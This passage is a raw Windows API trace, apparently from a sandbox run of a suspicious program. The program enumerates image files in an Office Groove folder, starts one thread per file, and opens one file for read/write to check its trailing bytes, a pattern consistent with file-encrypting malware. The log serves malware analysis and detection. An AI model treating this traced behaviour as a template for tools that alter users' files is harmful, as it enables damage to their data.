ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e983f00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Off.jpg", cAlternateFileName="AL0F2A~1.JPG")) returned 1 [0219.588] wcscmp (_String1="AlertImage_Off.jpg", _String2=".") returned 1 [0219.588] wcscmp (_String1="AlertImage_Off.jpg", _String2="..") returned 1 [0219.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x430fc720 [0219.589] wcscpy (in: _Dest=0x430fc720, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.589] wcscat (in: _Dest=0x430fc720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.589] wcscat (in: _Dest=0x430fc720, _Source="AlertImage_Off.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" [0219.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x430fc720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25f0 [0219.590] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x258f8e00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x258f8e00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_OffMask.bmp", cAlternateFileName="ALA9A1~1.BMP")) returned 1 [0219.590] wcscmp (_String1="AlertImage_OffMask.bmp", _String2=".") returned 1 [0219.590] wcscmp (_String1="AlertImage_OffMask.bmp", _String2="..") returned 1 [0219.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x431148e0 [0219.590] wcscpy (in: _Dest=0x431148e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.590] wcscat (in: _Dest=0x431148e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.590] wcscat (in: _Dest=0x431148e0, _Source="AlertImage_OffMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp" [0219.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431148e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee0 [0219.591] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbb75100, ftCreationTime.dwHighDateTime=0x1c9bcb4, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbb75100, ftLastWriteTime.dwHighDateTime=0x1c9bcb4, nFileSizeHigh=0x0, nFileSizeLow=0x2256, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImage.jpg", cAlternateFileName="COMMSI~1.JPG")) returned 1 [0219.591] wcscmp (_String1="CommsIncomingImage.jpg", _String2=".") returned 1 [0219.591] wcscmp (_String1="CommsIncomingImage.jpg", _String2="..") returned 1 [0219.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x431149c0 [0219.591] wcscpy (in: _Dest=0x431149c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.591] wcscat (in: _Dest=0x431149c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.591] wcscat (in: _Dest=0x431149c0, _Source="CommsIncomingImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" [0219.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431149c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1514 [0219.592] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d183d00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d183d00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMask.bmp", cAlternateFileName="COMMSI~2.BMP")) returned 1 [0219.592] wcscmp (_String1="CommsIncomingImageMask.bmp", _String2=".") returned 1 [0219.592] wcscmp (_String1="CommsIncomingImageMask.bmp", _String2="..") returned 1 [0219.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43114aa0 [0219.592] wcscpy (in: _Dest=0x43114aa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.592] wcscat (in: _Dest=0x43114aa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.592] wcscat (in: _Dest=0x43114aa0, _Source="CommsIncomingImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp" [0219.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x257c [0219.593] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMaskSmall.bmp", cAlternateFileName="COMMSI~1.BMP")) returned 1 [0219.593] wcscmp (_String1="CommsIncomingImageMaskSmall.bmp", _String2=".") returned 1 [0219.593] wcscmp (_String1="CommsIncomingImageMaskSmall.bmp", _String2="..") returned 1 [0219.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1ceb5c60 [0219.594] wcscpy (in: _Dest=0x1ceb5c60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.594] wcscat (in: _Dest=0x1ceb5c60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.594] wcscat (in: _Dest=0x1ceb5c60, _Source="CommsIncomingImageMaskSmall.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp" [0219.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb5c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d64 [0219.598] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1de3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageSmall.jpg", cAlternateFileName="COMMSI~2.JPG")) returned 1 [0219.598] wcscmp (_String1="CommsIncomingImageSmall.jpg", _String2=".") returned 1 [0219.598] wcscmp (_String1="CommsIncomingImageSmall.jpg", _String2="..") returned 1 [0219.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb5d50 [0219.599] wcscpy (in: _Dest=0x1ceb5d50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.599] wcscat (in: _Dest=0x1ceb5d50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.599] wcscat (in: _Dest=0x1ceb5d50, _Source="CommsIncomingImageSmall.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" [0219.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb5d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xebc [0219.612] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c468e00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c468e00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x22c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImage.jpg", cAlternateFileName="COMMSO~2.JPG")) returned 1 [0219.612] wcscmp (_String1="CommsOutgoingImage.jpg", _String2=".") returned 1 [0219.612] wcscmp (_String1="CommsOutgoingImage.jpg", _String2="..") returned 1 [0219.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x43114b80 [0219.612] wcscpy (in: _Dest=0x43114b80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.612] wcscat (in: _Dest=0x43114b80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.612] wcscat (in: _Dest=0x43114b80, _Source="CommsOutgoingImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" [0219.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24fc [0219.622] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf59600, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bf59600, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMask.bmp", cAlternateFileName="COMMSO~1.BMP")) returned 1 [0219.622] wcscmp (_String1="CommsOutgoingImageMask.bmp", _String2=".") returned 1 [0219.623] wcscmp (_String1="CommsOutgoingImageMask.bmp", _String2="..") returned 1 [0219.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43114c60 [0219.623] wcscpy (in: _Dest=0x43114c60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.623] wcscat (in: _Dest=0x43114c60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.623] wcscat (in: _Dest=0x43114c60, _Source="CommsOutgoingImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp" [0219.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2524 [0219.623] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMaskSmall.bmp", cAlternateFileName="COMMSO~2.BMP")) returned 1 [0219.623] wcscmp (_String1="CommsOutgoingImageMaskSmall.bmp", _String2=".") returned 1 [0219.623] wcscmp (_String1="CommsOutgoingImageMaskSmall.bmp", _String2="..") returned 1 [0219.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1ceb5e40 [0219.624] wcscpy (in: _Dest=0x1ceb5e40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.624] wcscat (in: _Dest=0x1ceb5e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.624] wcscat (in: _Dest=0x1ceb5e40, _Source="CommsOutgoingImageMaskSmall.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp" [0219.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb5e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0219.625] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageSmall.jpg", cAlternateFileName="COMMSO~1.JPG")) returned 1 [0219.625] wcscmp (_String1="CommsOutgoingImageSmall.jpg", _String2=".") returned 1 [0219.625] wcscmp (_String1="CommsOutgoingImageSmall.jpg", _String2="..") returned 1 [0219.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb5f30 [0219.625] wcscpy (in: _Dest=0x1ceb5f30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.625] wcscat (in: _Dest=0x1ceb5f30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.625] wcscat (in: _Dest=0x1ceb5f30, _Source="CommsOutgoingImageSmall.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" [0219.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb5f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f00 [0219.626] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2798, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImages.jpg", cAlternateFileName="MESSAG~1.JPG")) returned 1 [0219.626] wcscmp (_String1="MessageBoxIconImages.jpg", _String2=".") returned 1 [0219.626] wcscmp (_String1="MessageBoxIconImages.jpg", _String2="..") returned 1 [0219.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x43114d40 [0219.626] wcscpy (in: _Dest=0x43114d40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.626] wcscat (in: _Dest=0x43114d40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.626] wcscat (in: _Dest=0x43114d40, _Source="MessageBoxIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" [0219.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0219.627] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImagesMask.bmp", cAlternateFileName="MESSAG~1.BMP")) returned 1 [0219.627] wcscmp (_String1="MessageBoxIconImagesMask.bmp", _String2=".") returned 1 [0219.627] wcscmp (_String1="MessageBoxIconImagesMask.bmp", _String2="..") returned 1 [0219.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1ceb6020 [0219.628] wcscpy (in: _Dest=0x1ceb6020, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.628] wcscat (in: _Dest=0x1ceb6020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.628] wcscat (in: _Dest=0x1ceb6020, _Source="MessageBoxIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp" [0219.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb6020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x323c [0219.628] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c135400, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c135400, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIcon.jpg", cAlternateFileName="UNREAD~1.JPG")) returned 1 [0219.628] wcscmp (_String1="UnreadIcon.jpg", _String2=".") returned 1 [0219.628] wcscmp (_String1="UnreadIcon.jpg", _String2="..") returned 1 [0219.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4310e530 [0219.628] wcscpy (in: _Dest=0x4310e530, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.629] wcscat (in: _Dest=0x4310e530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.629] wcscat (in: _Dest=0x4310e530, _Source="UnreadIcon.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" [0219.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg")) returned 0x20 [0219.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg", dwFileAttributes=0x20) returned 1 [0219.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3240 [0219.633] GetFileSizeEx (in: hFile=0x3240, lpFileSize=0x2c34fe00 | out: lpFileSize=0x2c34fe00*=8172) returned 1 [0219.633] SetFilePointerEx (in: hFile=0x3240, liDistanceToMove=0x1fe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.633] ReadFile (in: hFile=0x3240, lpBuffer=0x2c34fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c34fdc8, lpOverlapped=0x0 | out: lpBuffer=0x2c34fd80*, lpNumberOfBytesRead=0x2c34fdc8*=0x4, lpOverlapped=0x0) returned 1 [0219.635] SetFilePointerEx (in: hFile=0x3240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.635] RtlAllocateHeap 